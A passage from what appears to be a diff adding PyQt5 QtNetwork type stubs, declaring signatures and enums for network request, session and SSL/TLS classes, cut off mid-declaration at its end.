QNetworkReply.NetworkError + UnknownContentError = ... # type: QNetworkReply.NetworkError + ProtocolUnknownError = ... # type: QNetworkReply.NetworkError + ProtocolInvalidOperationError = ... # type: QNetworkReply.NetworkError + ProtocolFailure = ... # type: QNetworkReply.NetworkError + ContentReSendError = ... # type: QNetworkReply.NetworkError + TemporaryNetworkFailureError = ... # type: QNetworkReply.NetworkError + NetworkSessionFailedError = ... # type: QNetworkReply.NetworkError + BackgroundRequestNotAllowedError = ... # type: QNetworkReply.NetworkError + ContentConflictError = ... # type: QNetworkReply.NetworkError + ContentGoneError = ... # type: QNetworkReply.NetworkError + InternalServerError = ... # type: QNetworkReply.NetworkError + OperationNotImplementedError = ... # type: QNetworkReply.NetworkError + ServiceUnavailableError = ... # type: QNetworkReply.NetworkError + UnknownServerError = ... # type: QNetworkReply.NetworkError + TooManyRedirectsError = ... # type: QNetworkReply.NetworkError + InsecureRedirectError = ... # type: QNetworkReply.NetworkError + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def ignoreSslErrorsImplementation(self, a0: typing.Iterable['QSslError']) -> None: ... + def setSslConfigurationImplementation(self, a0: 'QSslConfiguration') -> None: ... + def sslConfigurationImplementation(self, a0: 'QSslConfiguration') -> None: ... + def rawHeaderPairs(self) -> typing.List[typing.Tuple[QtCore.QByteArray, QtCore.QByteArray]]: ... + def isRunning(self) -> bool: ... + def isFinished(self) -> bool: ... + def setFinished(self, finished: bool) -> None: ... + def setAttribute(self, code: 'QNetworkRequest.Attribute', value: typing.Any) -> None: ... + def setRawHeader(self, headerName: typing.Union[QtCore.QByteArray, bytes, bytearray], value: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def setHeader(self, header: 'QNetworkRequest.KnownHeaders', value: typing.Any) -> None: ... + def setUrl(self, url: QtCore.QUrl) -> None: ... + def setError(self, errorCode: 'QNetworkReply.NetworkError', errorString: str) -> None: ... + def setRequest(self, request: 'QNetworkRequest') -> None: ... + def setOperation(self, operation: QNetworkAccessManager.Operation) -> None: ... + def writeData(self, data: bytes) -> int: ... + def redirectAllowed(self) -> None: ... + def redirected(self, url: QtCore.QUrl) -> None: ... + def preSharedKeyAuthenticationRequired(self, authenticator: 'QSslPreSharedKeyAuthenticator') -> None: ... + def downloadProgress(self, bytesReceived: int, bytesTotal: int) -> None: ... + def uploadProgress(self, bytesSent: int, bytesTotal: int) -> None: ... + def sslErrors(self, errors: typing.Iterable['QSslError']) -> None: ... + def errorOccurred(self, a0: 'QNetworkReply.NetworkError') -> None: ... + def encrypted(self) -> None: ... + def finished(self) -> None: ... + def metaDataChanged(self) -> None: ... + @typing.overload + def ignoreSslErrors(self) -> None: ... + @typing.overload + def ignoreSslErrors(self, errors: typing.Iterable['QSslError']) -> None: ... + def setSslConfiguration(self, configuration: 'QSslConfiguration') -> None: ... + def sslConfiguration(self) -> 'QSslConfiguration': ... + def attribute(self, code: 'QNetworkRequest.Attribute') -> typing.Any: ... + def rawHeader(self, headerName: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> QtCore.QByteArray: ... + def rawHeaderList(self) -> typing.List[QtCore.QByteArray]: ... + def hasRawHeader(self, headerName: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + def header(self, header: 'QNetworkRequest.KnownHeaders') -> typing.Any: ... + def url(self) -> QtCore.QUrl: ... + @typing.overload + def error(self) -> 'QNetworkReply.NetworkError': ... + @typing.overload + def error(self, a0: 'QNetworkReply.NetworkError') -> None: ... + def request(self) -> 'QNetworkRequest': ... + def operation(self) -> QNetworkAccessManager.Operation: ... + def manager(self) -> QNetworkAccessManager: ... + def setReadBufferSize(self, size: int) -> None: ... + def readBufferSize(self) -> int: ... + def isSequential(self) -> bool: ... + def close(self) -> None: ... + def abort(self) -> None: ... + + +class QNetworkRequest(sip.simplewrapper): + + class TransferTimeoutConstant(int): + DefaultTransferTimeoutConstant = ... # type: QNetworkRequest.TransferTimeoutConstant + + class RedirectPolicy(int): + ManualRedirectPolicy = ... # type: QNetworkRequest.RedirectPolicy + NoLessSafeRedirectPolicy = ... # type: QNetworkRequest.RedirectPolicy + SameOriginRedirectPolicy = ... # type: QNetworkRequest.RedirectPolicy + UserVerifiedRedirectPolicy = ... # type: QNetworkRequest.RedirectPolicy + + class Priority(int): + HighPriority = ... # type: QNetworkRequest.Priority + NormalPriority = ... # type: QNetworkRequest.Priority + LowPriority = ... # type: QNetworkRequest.Priority + + class LoadControl(int): + Automatic = ... # type: QNetworkRequest.LoadControl + Manual = ... # type: QNetworkRequest.LoadControl + + class CacheLoadControl(int): + AlwaysNetwork = ... # type: QNetworkRequest.CacheLoadControl + PreferNetwork = ... # type: QNetworkRequest.CacheLoadControl + PreferCache = ... # type: QNetworkRequest.CacheLoadControl + AlwaysCache = ... # type: QNetworkRequest.CacheLoadControl + + class Attribute(int): + HttpStatusCodeAttribute = ... # type: QNetworkRequest.Attribute + HttpReasonPhraseAttribute = ... # type: QNetworkRequest.Attribute + RedirectionTargetAttribute = ... # type: QNetworkRequest.Attribute + ConnectionEncryptedAttribute = ... # type: QNetworkRequest.Attribute + CacheLoadControlAttribute = ... # type: QNetworkRequest.Attribute + CacheSaveControlAttribute = ... # type: QNetworkRequest.Attribute + SourceIsFromCacheAttribute = ... # type: QNetworkRequest.Attribute + DoNotBufferUploadDataAttribute = ... # type: QNetworkRequest.Attribute + HttpPipeliningAllowedAttribute = ... # type: QNetworkRequest.Attribute + HttpPipeliningWasUsedAttribute = ... # type: QNetworkRequest.Attribute + CustomVerbAttribute = ... # type: QNetworkRequest.Attribute + CookieLoadControlAttribute = ... # type: QNetworkRequest.Attribute + AuthenticationReuseAttribute = ... # type: QNetworkRequest.Attribute + CookieSaveControlAttribute = ... # type: QNetworkRequest.Attribute + BackgroundRequestAttribute = ... # type: QNetworkRequest.Attribute + SpdyAllowedAttribute = ... # type: QNetworkRequest.Attribute + SpdyWasUsedAttribute = ... # type: QNetworkRequest.Attribute + EmitAllUploadProgressSignalsAttribute = ... # type: QNetworkRequest.Attribute + FollowRedirectsAttribute = ... # type: QNetworkRequest.Attribute + HTTP2AllowedAttribute = ... # type: QNetworkRequest.Attribute + Http2AllowedAttribute = ... # type: QNetworkRequest.Attribute + HTTP2WasUsedAttribute = ... # type: QNetworkRequest.Attribute + Http2WasUsedAttribute = ... # type: QNetworkRequest.Attribute + OriginalContentLengthAttribute = ... # type: QNetworkRequest.Attribute + RedirectPolicyAttribute = ... # type: QNetworkRequest.Attribute + Http2DirectAttribute = ... # type: QNetworkRequest.Attribute + AutoDeleteReplyOnFinishAttribute = ... # type: QNetworkRequest.Attribute + User = ... # type: QNetworkRequest.Attribute + UserMax = ... # type: QNetworkRequest.Attribute + + class KnownHeaders(int): + ContentTypeHeader = ... # type: QNetworkRequest.KnownHeaders + ContentLengthHeader = ... # type: QNetworkRequest.KnownHeaders + LocationHeader = ... # type: QNetworkRequest.KnownHeaders + LastModifiedHeader = ... # type: QNetworkRequest.KnownHeaders + CookieHeader = ... # type: QNetworkRequest.KnownHeaders + SetCookieHeader = ... # type: QNetworkRequest.KnownHeaders + ContentDispositionHeader = ... # type: QNetworkRequest.KnownHeaders + UserAgentHeader = ... # type: QNetworkRequest.KnownHeaders + ServerHeader = ... # type: QNetworkRequest.KnownHeaders + IfModifiedSinceHeader = ... # type: QNetworkRequest.KnownHeaders + ETagHeader = ... # type: QNetworkRequest.KnownHeaders + IfMatchHeader = ... # type: QNetworkRequest.KnownHeaders + IfNoneMatchHeader = ... # type: QNetworkRequest.KnownHeaders + + @typing.overload + def __init__(self, url: QtCore.QUrl = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QNetworkRequest') -> None: ... + + def setTransferTimeout(self, timeout: int = ...) -> None: ... + def transferTimeout(self) -> int: ... + def setHttp2Configuration(self, configuration: QHttp2Configuration) -> None: ... + def http2Configuration(self) -> QHttp2Configuration: ... + def setPeerVerifyName(self, peerName: str) -> None: ... + def peerVerifyName(self) -> str: ... + def setMaximumRedirectsAllowed(self, maximumRedirectsAllowed: int) -> None: ... + def maximumRedirectsAllowed(self) -> int: ... + def swap(self, other: 'QNetworkRequest') -> None: ... + def setPriority(self, priority: 'QNetworkRequest.Priority') -> None: ... + def priority(self) -> 'QNetworkRequest.Priority': ... + def originatingObject(self) -> QtCore.QObject: ... + def setOriginatingObject(self, object: QtCore.QObject) -> None: ... + def setSslConfiguration(self, configuration: 'QSslConfiguration') -> None: ... + def sslConfiguration(self) -> 'QSslConfiguration': ... + def setAttribute(self, code: 'QNetworkRequest.Attribute', value: typing.Any) -> None: ... + def attribute(self, code: 'QNetworkRequest.Attribute', defaultValue: typing.Any = ...) -> typing.Any: ... + def setRawHeader(self, headerName: typing.Union[QtCore.QByteArray, bytes, bytearray], value: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def rawHeader(self, headerName: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> QtCore.QByteArray: ... + def rawHeaderList(self) -> typing.List[QtCore.QByteArray]: ... + def hasRawHeader(self, headerName: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + def setHeader(self, header: 'QNetworkRequest.KnownHeaders', value: typing.Any) -> None: ... + def header(self, header: 'QNetworkRequest.KnownHeaders') -> typing.Any: ... + def setUrl(self, url: QtCore.QUrl) -> None: ... + def url(self) -> QtCore.QUrl: ... + + +class QNetworkSession(QtCore.QObject): + + class UsagePolicy(int): + NoPolicy = ... # type: QNetworkSession.UsagePolicy + NoBackgroundTrafficPolicy = ... # type: QNetworkSession.UsagePolicy + + class SessionError(int): + UnknownSessionError = ... # type: QNetworkSession.SessionError + SessionAbortedError = ... # type: QNetworkSession.SessionError + RoamingError = ... # type: QNetworkSession.SessionError + OperationNotSupportedError = ... # type: QNetworkSession.SessionError + InvalidConfigurationError = ... # type: QNetworkSession.SessionError + + class State(int): + Invalid = ... # type: QNetworkSession.State + NotAvailable = ... # type: QNetworkSession.State + Connecting = ... # type: QNetworkSession.State + Connected = ... # type: QNetworkSession.State + Closing = ... # type: QNetworkSession.State + Disconnected = ... # type: QNetworkSession.State + Roaming = ... # type: QNetworkSession.State + + class UsagePolicies(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QNetworkSession.UsagePolicies', 'QNetworkSession.UsagePolicy']) -> None: ... + @typing.overload + def __init__(self, a0: 'QNetworkSession.UsagePolicies') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QNetworkSession.UsagePolicies': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, connConfig: QNetworkConfiguration, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def usagePoliciesChanged(self, usagePolicies: typing.Union['QNetworkSession.UsagePolicies', 'QNetworkSession.UsagePolicy']) -> None: ... + def usagePolicies(self) -> 'QNetworkSession.UsagePolicies': ... + def disconnectNotify(self, signal: QtCore.QMetaMethod) -> None: ... + def connectNotify(self, signal: QtCore.QMetaMethod) -> None: ... + def newConfigurationActivated(self) -> None: ... + def preferredConfigurationChanged(self, config: QNetworkConfiguration, isSeamless: bool) -> None: ... + def closed(self) -> None: ... + def opened(self) -> None: ... + def stateChanged(self, a0: 'QNetworkSession.State') -> None: ... + def reject(self) -> None: ... + def accept(self) -> None: ... + def ignore(self) -> None: ... + def migrate(self) -> None: ... + def stop(self) -> None: ... + def close(self) -> None: ... + def open(self) -> None: ... + def waitForOpened(self, msecs: int = ...) -> bool: ... + def activeTime(self) -> int: ... + def bytesReceived(self) -> int: ... + def bytesWritten(self) -> int: ... + def setSessionProperty(self, key: str, value: typing.Any) -> None: ... + def sessionProperty(self, key: str) -> typing.Any: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QNetworkSession.SessionError': ... + @typing.overload + def error(self, a0: 'QNetworkSession.SessionError') -> None: ... + def state(self) -> 'QNetworkSession.State': ... + def interface(self) -> QNetworkInterface: ... + def configuration(self) -> QNetworkConfiguration: ... + def isOpen(self) -> bool: ... + + +class QOcspResponse(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QOcspResponse') -> None: ... + + def __hash__(self) -> int: ... + def swap(self, other: 'QOcspResponse') -> None: ... + def subject(self) -> 'QSslCertificate': ... + def responder(self) -> 'QSslCertificate': ... + def revocationReason(self) -> QOcspRevocationReason: ... + def certificateStatus(self) -> QOcspCertificateStatus: ... + + +class QPasswordDigestor(PyQt5.sip.simplewrapper): + + def deriveKeyPbkdf2(self, algorithm: QtCore.QCryptographicHash.Algorithm, password: typing.Union[QtCore.QByteArray, bytes, bytearray], salt: typing.Union[QtCore.QByteArray, bytes, bytearray], iterations: int, dkLen: int) -> QtCore.QByteArray: ... + def deriveKeyPbkdf1(self, algorithm: QtCore.QCryptographicHash.Algorithm, password: typing.Union[QtCore.QByteArray, bytes, bytearray], salt: typing.Union[QtCore.QByteArray, bytes, bytearray], iterations: int, dkLen: int) -> QtCore.QByteArray: ... + + +class QSsl(PyQt5.sip.simplewrapper): + + class SslOption(int): + SslOptionDisableEmptyFragments = ... # type: QSsl.SslOption + SslOptionDisableSessionTickets = ... # type: QSsl.SslOption + SslOptionDisableCompression = ... # type: QSsl.SslOption + SslOptionDisableServerNameIndication = ... # type: QSsl.SslOption + SslOptionDisableLegacyRenegotiation = ... # type: QSsl.SslOption + SslOptionDisableSessionSharing = ... # type: QSsl.SslOption + SslOptionDisableSessionPersistence = ... # type: QSsl.SslOption + SslOptionDisableServerCipherPreference = ... # type: QSsl.SslOption + + class SslProtocol(int): + UnknownProtocol = ... # type: QSsl.SslProtocol + SslV3 = ... # type: QSsl.SslProtocol + SslV2 = ... # type: QSsl.SslProtocol + TlsV1_0 = ... # type: QSsl.SslProtocol + TlsV1_0OrLater = ... # type: QSsl.SslProtocol + TlsV1_1 = ... # type: QSsl.SslProtocol + TlsV1_1OrLater = ... # type: QSsl.SslProtocol + TlsV1_2 = ... # type: QSsl.SslProtocol + TlsV1_2OrLater = ... # type: QSsl.SslProtocol + AnyProtocol = ... # type: QSsl.SslProtocol + TlsV1SslV3 = ... # type: QSsl.SslProtocol + SecureProtocols = ... # type: QSsl.SslProtocol + DtlsV1_0 = ... # type: QSsl.SslProtocol + DtlsV1_0OrLater = ... # type: QSsl.SslProtocol + DtlsV1_2 = ... # type: QSsl.SslProtocol + DtlsV1_2OrLater = ... # type: QSsl.SslProtocol + TlsV1_3 = ... # type: QSsl.SslProtocol + TlsV1_3OrLater = ... # type: QSsl.SslProtocol + + class AlternativeNameEntryType(int): + EmailEntry = ... # type: QSsl.AlternativeNameEntryType + DnsEntry = ... # type: QSsl.AlternativeNameEntryType + IpAddressEntry = ... # type: QSsl.AlternativeNameEntryType + + class KeyAlgorithm(int): + Opaque = ... # type: QSsl.KeyAlgorithm + Rsa = ... # type: QSsl.KeyAlgorithm + Dsa = ... # type: QSsl.KeyAlgorithm + Ec = ... # type: QSsl.KeyAlgorithm + Dh = ... # type: QSsl.KeyAlgorithm + + class EncodingFormat(int): + Pem = ... # type: QSsl.EncodingFormat + Der = ... # type: QSsl.EncodingFormat + + class KeyType(int): + PrivateKey = ... # type: QSsl.KeyType + PublicKey = ... # type: QSsl.KeyType + + class SslOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSsl.SslOptions', 'QSsl.SslOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSsl.SslOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSsl.SslOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + +class QSslCertificate(sip.simplewrapper): + + class PatternSyntax(int): + RegularExpression = ... # type: QSslCertificate.PatternSyntax + Wildcard = ... # type: QSslCertificate.PatternSyntax + FixedString = ... # type: QSslCertificate.PatternSyntax + + class SubjectInfo(int): + Organization = ... # type: QSslCertificate.SubjectInfo + CommonName = ... # type: QSslCertificate.SubjectInfo + LocalityName = ... # type: QSslCertificate.SubjectInfo + OrganizationalUnitName = ... # type: QSslCertificate.SubjectInfo + CountryName = ... # type: QSslCertificate.SubjectInfo + StateOrProvinceName = ... # type: QSslCertificate.SubjectInfo + DistinguishedNameQualifier = ... # type: QSslCertificate.SubjectInfo + SerialNumber = ... # type: QSslCertificate.SubjectInfo + EmailAddress = ... # type: QSslCertificate.SubjectInfo + + @typing.overload + def __init__(self, device: QtCore.QIODevice, format: QSsl.EncodingFormat = ...) -> None: ... + @typing.overload + def __init__(self, data: typing.Union[QtCore.QByteArray, bytes, bytearray] = ..., format: QSsl.EncodingFormat = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QSslCertificate') -> None: ... + + def subjectDisplayName(self) -> str: ... + def issuerDisplayName(self) -> str: ... + @staticmethod + def importPkcs12(device: QtCore.QIODevice, key: 'QSslKey', certificate: 'QSslCertificate', caCertificates: typing.Optional[typing.Iterable['QSslCertificate']] = ..., passPhrase: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> bool: ... + def __hash__(self) -> int: ... + def isSelfSigned(self) -> bool: ... + @staticmethod + def verify(certificateChain: typing.Iterable['QSslCertificate'], hostName: str = ...) -> typing.List['QSslError']: ... + def toText(self) -> str: ... + def extensions(self) -> typing.List['QSslCertificateExtension']: ... + def issuerInfoAttributes(self) -> typing.List[QtCore.QByteArray]: ... + def subjectInfoAttributes(self) -> typing.List[QtCore.QByteArray]: ... + def isBlacklisted(self) -> bool: ... + def swap(self, other: 'QSslCertificate') -> None: ... + def handle(self) -> PyQt5.sip.voidptr: ... + @staticmethod + def fromData(data: typing.Union[QtCore.QByteArray, bytes, bytearray], format: QSsl.EncodingFormat = ...) -> typing.List['QSslCertificate']: ... + @staticmethod + def fromDevice(device: QtCore.QIODevice, format: QSsl.EncodingFormat = ...) -> typing.List['QSslCertificate']: ... + @staticmethod + def fromPath(path: str, format: QSsl.EncodingFormat = ..., syntax: QtCore.QRegExp.PatternSyntax = ...) -> typing.List['QSslCertificate']: ... + def toDer(self) -> QtCore.QByteArray: ... + def toPem(self) -> QtCore.QByteArray: ... + def publicKey(self) -> 'QSslKey': ... + def expiryDate(self) -> QtCore.QDateTime: ... + def effectiveDate(self) -> QtCore.QDateTime: ... + def subjectAlternativeNames(self) -> typing.Dict[QSsl.AlternativeNameEntryType, typing.List[str]]: ... + @typing.overload + def subjectInfo(self, info: 'QSslCertificate.SubjectInfo') -> typing.List[str]: ... + @typing.overload + def subjectInfo(self, attribute: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> typing.List[str]: ... + @typing.overload + def issuerInfo(self, info: 'QSslCertificate.SubjectInfo') -> typing.List[str]: ... + @typing.overload + def issuerInfo(self, attribute: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> typing.List[str]: ... + def digest(self, algorithm: QtCore.QCryptographicHash.Algorithm = ...) -> QtCore.QByteArray: ... + def serialNumber(self) -> QtCore.QByteArray: ... + def version(self) -> QtCore.QByteArray: ... + def clear(self) -> None: ... + def isNull(self) -> bool: ... + + +class QSslCertificateExtension(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QSslCertificateExtension') -> None: ... + + def isSupported(self) -> bool: ... + def isCritical(self) -> bool: ... + def value(self) -> typing.Any: ... + def name(self) -> str: ... + def oid(self) -> str: ... + def swap(self, other: 'QSslCertificateExtension') -> None: ... + + +class QSslCipher(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, name: str) -> None: ... + @typing.overload + def __init__(self, name: str, protocol: QSsl.SslProtocol) -> None: ... + @typing.overload + def __init__(self, other: 'QSslCipher') -> None: ... + + def swap(self, other: 'QSslCipher') -> None: ... + def protocol(self) -> QSsl.SslProtocol: ... + def protocolString(self) -> str: ... + def encryptionMethod(self) -> str: ... + def authenticationMethod(self) -> str: ... + def keyExchangeMethod(self) -> str: ... + def usedBits(self) -> int: ... + def supportedBits(self) -> int: ... + def name(self) -> str: ... + def isNull(self) -> bool: ... + + +class QSslConfiguration(sip.simplewrapper): + + class NextProtocolNegotiationStatus(int): + NextProtocolNegotiationNone = ... # type: QSslConfiguration.NextProtocolNegotiationStatus + NextProtocolNegotiationNegotiated = ... # type: QSslConfiguration.NextProtocolNegotiationStatus + NextProtocolNegotiationUnsupported = ... # type: QSslConfiguration.NextProtocolNegotiationStatus + + NextProtocolHttp1_1 = ... # type: bytes + NextProtocolSpdy3_0 = ... # type: bytes + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QSslConfiguration') -> None: ... + + @typing.overload + def addCaCertificates(self, path: str, format: QSsl.EncodingFormat = ..., syntax: QSslCertificate.PatternSyntax = ...) -> bool: ... + @typing.overload + def addCaCertificates(self, certificates: typing.Iterable[QSslCertificate]) -> None: ... + def addCaCertificate(self, certificate: QSslCertificate) -> None: ... + def ocspStaplingEnabled(self) -> bool: ... + def setOcspStaplingEnabled(self, enable: bool) -> None: ... + def setBackendConfiguration(self, backendConfiguration: typing.Dict[typing.Union[QtCore.QByteArray, bytes, bytearray], typing.Any] = ...) -> None: ... + def setBackendConfigurationOption(self, name: typing.Union[QtCore.QByteArray, bytes, bytearray], value: typing.Any) -> None: ... + def backendConfiguration(self) -> typing.Dict[QtCore.QByteArray, typing.Any]: ... + def setDiffieHellmanParameters(self, dhparams: 'QSslDiffieHellmanParameters') -> None: ... + def diffieHellmanParameters(self) -> 'QSslDiffieHellmanParameters': ... + def setPreSharedKeyIdentityHint(self, hint: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def preSharedKeyIdentityHint(self) -> QtCore.QByteArray: ... + def ephemeralServerKey(self) -> 'QSslKey': ... + @staticmethod + def supportedEllipticCurves() -> typing.List['QSslEllipticCurve']: ... + def setEllipticCurves(self, curves: typing.Iterable['QSslEllipticCurve']) -> None: ... + def ellipticCurves(self) -> typing.List['QSslEllipticCurve']: ... + @staticmethod + def systemCaCertificates() -> typing.List[QSslCertificate]: ... + @staticmethod + def supportedCiphers() -> typing.List[QSslCipher]: ... + def sessionProtocol(self) -> QSsl.SslProtocol: ... + def nextProtocolNegotiationStatus(self) -> 'QSslConfiguration.NextProtocolNegotiationStatus': ... + def nextNegotiatedProtocol(self) -> QtCore.QByteArray: ... + def allowedNextProtocols(self) -> typing.List[QtCore.QByteArray]: ... + def setAllowedNextProtocols(self, protocols: typing.Iterable[typing.Union[QtCore.QByteArray, bytes, bytearray]]) -> None: ... + def sessionTicketLifeTimeHint(self) -> int: ... + def setSessionTicket(self, sessionTicket: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def sessionTicket(self) -> QtCore.QByteArray: ... + def setLocalCertificateChain(self, localChain: typing.Iterable[QSslCertificate]) -> None: ... + def localCertificateChain(self) -> typing.List[QSslCertificate]: ... + def swap(self, other: 'QSslConfiguration') -> None: ... + def testSslOption(self, option: QSsl.SslOption) -> bool: ... + def setSslOption(self, option: QSsl.SslOption, on: bool) -> None: ... + @staticmethod + def setDefaultConfiguration(configuration: 'QSslConfiguration') -> None: ... + @staticmethod + def defaultConfiguration() -> 'QSslConfiguration': ... + def setCaCertificates(self, certificates: typing.Iterable[QSslCertificate]) -> None: ... + def caCertificates(self) -> typing.List[QSslCertificate]: ... + def setCiphers(self, ciphers: typing.Iterable[QSslCipher]) -> None: ... + def ciphers(self) -> typing.List[QSslCipher]: ... + def setPrivateKey(self, key: 'QSslKey') -> None: ... + def privateKey(self) -> 'QSslKey': ... + def sessionCipher(self) -> QSslCipher: ... + def peerCertificateChain(self) -> typing.List[QSslCertificate]: ... + def peerCertificate(self) -> QSslCertificate: ... + def setLocalCertificate(self, certificate: QSslCertificate) -> None: ... + def localCertificate(self) -> QSslCertificate: ... + def setPeerVerifyDepth(self, depth: int) -> None: ... + def peerVerifyDepth(self) -> int: ... + def setPeerVerifyMode(self, mode: 'QSslSocket.PeerVerifyMode') -> None: ... + def peerVerifyMode(self) -> 'QSslSocket.PeerVerifyMode': ... + def setProtocol(self, protocol: QSsl.SslProtocol) -> None: ... + def protocol(self) -> QSsl.SslProtocol: ... + def isNull(self) -> bool: ... + + +class QSslDiffieHellmanParameters(sip.simplewrapper): + + class Error(int): + NoError = ... # type: QSslDiffieHellmanParameters.Error + InvalidInputDataError = ... # type: QSslDiffieHellmanParameters.Error + UnsafeParametersError = ... # type: QSslDiffieHellmanParameters.Error + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QSslDiffieHellmanParameters') -> None: ... + + def __hash__(self) -> int: ... + def errorString(self) -> str: ... + def error(self) -> 'QSslDiffieHellmanParameters.Error': ... + def isValid(self) -> bool: ... + def isEmpty(self) -> bool: ... + @typing.overload + @staticmethod + def fromEncoded(encoded: typing.Union[QtCore.QByteArray, bytes, bytearray], encoding: QSsl.EncodingFormat = ...) -> 'QSslDiffieHellmanParameters': ... + @typing.overload + @staticmethod + def fromEncoded(device: QtCore.QIODevice, encoding: QSsl.EncodingFormat = ...) -> 'QSslDiffieHellmanParameters': ... + @staticmethod + def defaultParameters() -> 'QSslDiffieHellmanParameters': ... + def swap(self, other: 'QSslDiffieHellmanParameters') -> None: ... + + +class QSslEllipticCurve(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QSslEllipticCurve') -> None: ... + + def __hash__(self) -> int: ... + def isTlsNamedCurve(self) -> bool: ... + def isValid(self) -> bool: ... + def longName(self) -> str: ... + def shortName(self) -> str: ... + @staticmethod + def fromLongName(name: str) -> 'QSslEllipticCurve': ... + @staticmethod + def fromShortName(name: str) -> 'QSslEllipticCurve': ... + + +class QSslError(sip.simplewrapper): + + class SslError(int): + UnspecifiedError = ... # type: QSslError.SslError + NoError = ... # type: QSslError.SslError + UnableToGetIssuerCertificate = ... # type: QSslError.SslError + UnableToDecryptCertificateSignature = ... # type: QSslError.SslError + UnableToDecodeIssuerPublicKey = ... # type: QSslError.SslError + CertificateSignatureFailed = ... # type: QSslError.SslError + CertificateNotYetValid = ... # type: QSslError.SslError + CertificateExpired = ... # type: QSslError.SslError + InvalidNotBeforeField = ... # type: QSslError.SslError + InvalidNotAfterField = ... # type: QSslError.SslError + SelfSignedCertificate = ... # type: QSslError.SslError + SelfSignedCertificateInChain = ... # type: QSslError.SslError + UnableToGetLocalIssuerCertificate = ... # type: QSslError.SslError + UnableToVerifyFirstCertificate = ... # type: QSslError.SslError + CertificateRevoked = ... # type: QSslError.SslError + InvalidCaCertificate = ... # type: QSslError.SslError + PathLengthExceeded = ... # type: QSslError.SslError + InvalidPurpose = ... # type: QSslError.SslError + CertificateUntrusted = ... # type: QSslError.SslError + CertificateRejected = ... # type: QSslError.SslError + SubjectIssuerMismatch = ... # type: QSslError.SslError + AuthorityIssuerSerialNumberMismatch = ... # type: QSslError.SslError + NoPeerCertificate = ... # type: QSslError.SslError + HostNameMismatch = ... # type: QSslError.SslError + NoSslSupport = ... # type: QSslError.SslError + CertificateBlacklisted = ... # type: QSslError.SslError + CertificateStatusUnknown = ... # type: QSslError.SslError + OcspNoResponseFound = ... # type: QSslError.SslError + OcspMalformedRequest = ... # type: QSslError.SslError + OcspMalformedResponse = ... # type: QSslError.SslError + OcspInternalError = ... # type: QSslError.SslError + OcspTryLater = ... # type: QSslError.SslError + OcspSigRequred = ... # type: QSslError.SslError + OcspUnauthorized = ... # type: QSslError.SslError + OcspResponseCannotBeTrusted = ... # type: QSslError.SslError + OcspResponseCertIdUnknown = ... # type: QSslError.SslError + OcspResponseExpired = ... # type: QSslError.SslError + OcspStatusUnknown = ... # type: QSslError.SslError + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, error: 'QSslError.SslError') -> None: ... + @typing.overload + def __init__(self, error: 'QSslError.SslError', certificate: QSslCertificate) -> None: ... + @typing.overload + def __init__(self, other: 'QSslError') -> None: ... + + def __hash__(self) -> int: ... + def swap(self, other: 'QSslError') -> None: ... + def certificate(self) -> QSslCertificate: ... + def errorString(self) -> str: ... + def error(self) -> 'QSslError.SslError': ... + + +class QSslKey(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, encoded: typing.Union[QtCore.QByteArray, bytes, bytearray], algorithm: QSsl.KeyAlgorithm, encoding: QSsl.EncodingFormat = ..., type: QSsl.KeyType = ..., passPhrase: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> None: ... + @typing.overload + def __init__(self, device: QtCore.QIODevice, algorithm: QSsl.KeyAlgorithm, encoding: QSsl.EncodingFormat = ..., type: QSsl.KeyType = ..., passPhrase: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> None: ... + @typing.overload + def __init__(self, handle: PyQt5.sip.voidptr, type: QSsl.KeyType = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QSslKey') -> None: ... + + def swap(self, other: 'QSslKey') -> None: ... + def handle(self) -> PyQt5.sip.voidptr: ... + def toDer(self, passPhrase: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> QtCore.QByteArray: ... + def toPem(self, passPhrase: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> QtCore.QByteArray: ... + def algorithm(self) -> QSsl.KeyAlgorithm: ... + def type(self) -> QSsl.KeyType: ... + def length(self) -> int: ... + def clear(self) -> None: ... + def isNull(self) -> bool: ... + + +class QSslPreSharedKeyAuthenticator(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, authenticator: 'QSslPreSharedKeyAuthenticator') -> None: ... + + def 